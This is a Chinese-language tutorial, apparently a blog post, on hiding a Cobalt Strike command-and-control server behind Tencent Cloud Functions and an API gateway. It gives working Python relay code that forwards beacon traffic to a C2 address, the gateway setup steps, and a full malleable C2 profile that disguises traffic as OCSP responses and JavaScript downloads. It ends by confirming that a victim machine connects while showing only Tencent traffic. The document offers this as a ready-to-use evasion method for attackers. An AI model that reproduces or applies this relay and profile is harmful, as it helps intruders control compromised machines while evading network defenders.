背景
基于CS,隐藏C2服务端有很多手段,常见如下:
- 利用域前置
- 走cdn域名
- 利用云厂商服务
其中域前置技术在18年及更早还比较有效,现在越来越多云厂商如cloudflare开始禁止域前置行为:
因此走cdn和利用云厂商服务是更加常用的方法
核心思想
核心思想其实很简单,就是由第三方提供的服务接收C2客户端流量,转发给C2服务端,避免直接暴露服务端,因此该第三方服务最好具备以下特点:
- 国内外访问速度都较快(客户端可能有国外情况)
- 国外厂商
- 价格便宜或完全免费
- 主动提供免费加速域名
若使用cdn加速技术,可考虑freenom+cloudfront,完全免费。
本文以腾讯云函数+API网关为例,腾讯云函数作用就是用户可以不申请云机器,却可直接写代码(支持python/c等),将特定请求进行处理或进一步转发。API网关即类似接口作用,将满足路由条件的请求转发给云函数处理。
腾讯云函数隐藏C2
所需组件:
- CS 4.1版本
- 腾讯云账号(API网关第一年免费)
- 函数服务->函数管理处,使用python3.6语言,创建一个hello word模板,使用python将所接受请求转发给我们的C2服务端 ,点击部署,代码如下:
其中main_handler
函数的event包含了请求的头等数据。
# coding: utf8
import json,requests,base64
def main_handler(event, context):
response = {}
path = None
headers = None
try:
C2='http://45.xx.xx.45:80'
if 'path' in event.keys():
path=event['path']
if 'headers' in event.keys():
headers=event['headers']
if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
except Exception as e:
print('error')
print(e)
finally:
return response
- 函数服务->触发管理->创建触发器,具体参数如下,触发器作用是用来触发刚刚我们写的云函数
- 创建完触发器后,点击API服务名,跳转到API网关页面,点击编辑,配置网关的路由
- 仅修改路径为/就可以,其他配置不用动
- 点击立即完成,发布服务即可
6.新增C2的profile文件,命名为win_tecent_cloud_func.profile
set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
- 服务端启动
- 将云函数的公网接口地址域名填入listener的http hosts和stager的hosts
9.成功上线
10. wireshark抓包受害机,可以看到都是和腾讯host和ip的通讯
11. 走https同理,云函数那边python代码记得改成https。可以看到为加密流量